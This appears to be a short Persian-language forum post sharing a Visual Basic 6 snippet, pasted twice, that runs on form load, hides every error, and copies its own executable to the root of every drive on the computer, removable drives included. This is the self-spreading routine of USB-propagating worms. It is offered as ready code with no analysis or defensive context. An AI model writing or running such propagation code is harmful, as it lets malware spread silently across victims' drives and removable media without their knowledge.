خودم دنبالش بودم :136:
[php]Option Explicit
Private Sub Form_Load()
On Error Resume Next
Dim k As New FileSystemObject
Dim a As Drive
For Each a In k.Drives
k.CopyFile App.Path & "\" & App.EXEName & ".exe", a & "\" & App.EXEName & ".exe", True
Next
End Sub[/php]
[php]Option Explicit
Private Sub Form_Load()
On Error Resume Next
Dim k As New FileSystemObject
Dim a As Drive
For Each a In k.Drives
k.CopyFile App.Path & "\" & App.EXEName & ".exe", a & "\" & App.EXEName & ".exe", True
Next
End Sub[/php]